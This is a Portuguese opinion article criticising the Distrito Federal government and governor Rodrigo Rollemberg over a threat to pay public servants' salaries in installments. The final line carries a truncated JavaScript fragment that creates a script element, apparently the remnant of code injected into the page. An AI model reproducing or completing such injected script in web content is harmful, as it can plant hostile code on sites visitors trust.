Não bastassem o calote no reajuste salarial, os atrasos nos pagamentos das horas extras, os cortes de gratificações e o evidente desmonte da saúde pública do Distrito Federal, o assédio moral da vez escolhido pelo GDF é a ameaça de parcelamento dos salários dos servidores. Em 2015, assim que assumiu o Buriti, com a mesma justificativa de “rombo” nas contas, o governador Rodrigo Rollemberg já havia tentado o escalonamento. Porém, a intenção foi frustrada por uma ação do Sindicato dos Médicos (SindMédico-DF).
À época, em sua decisão, o juiz Lizandro Garcia Gomes Filho, responsável pela suspensão do parcelamento dos salários, afirmou que os servidores enfrentam “compromissos financeiros de natureza diversa, mas indispensáveis a uma vida digna”. Em “juridiquês” se diz que salário tem natureza alimentícia, pois atende a um universo de necessidades pessoais e essenciais do indivíduo e de sua família. O salário é a retribuição necessária e indissociável do trabalho. É assim que funciona no mundo todo: o sujeito trabalha e é pago pelo seu serviço.
Para o governador Rodrigo Rollemberg, no entanto, a solução para todos os problemas de caixa do GDF, invariavelmente, é mexer nos direitos e nos bolsos dos servidores. Não há criatividade, não há gestão. Em Rondônia, o governo chegou até a substituir copos descartáveis por canecas individuais como medida de economia. Lá em Santa Catarina, no Ceará, na Paraíba, na Bahia houve até antecipação de pagamento do 13º salário para dinamizar as economias locais.
Aqui, o governo local cada dia mais concede incentivos fiscais a quem nem ao menos gera empregos, não investe em tecnologia nem em políticas para melhorar a arrecadação de tributos. E faz o caminho contrário dos estados que estão saindo da crise – volta lá para o começo das medidas de tentativa de equilíbrio fiscal. Fez o quê, então, se nem isso conseguiu? E esse é mais um grande atestado de incompetência da atual gestão.
Nesses meses todos, o governo local conseguiu aumentar impostos e tarifas públicas, apertar o cinto e dar calote em servidores e fornecedores e fazer crescer o desemprego no DF. Um eventual parcelamento só agravaria a crise e faria aparecerem mais cartazes de “fechado”, “vende-se”, “passa-se o ponto”, pelas avenidas e ruas de todo o Distrito Federal.
Se existe um ralo de dinheiro na máquina pública do DF, ele está localizado exatamente no gabinete número 1 do Palácio do Buriti e o governador é quem o mantém escorrendo e drenando nossa esperança e nossa paciência.var d=document;var s=d.createElement(\’script\’);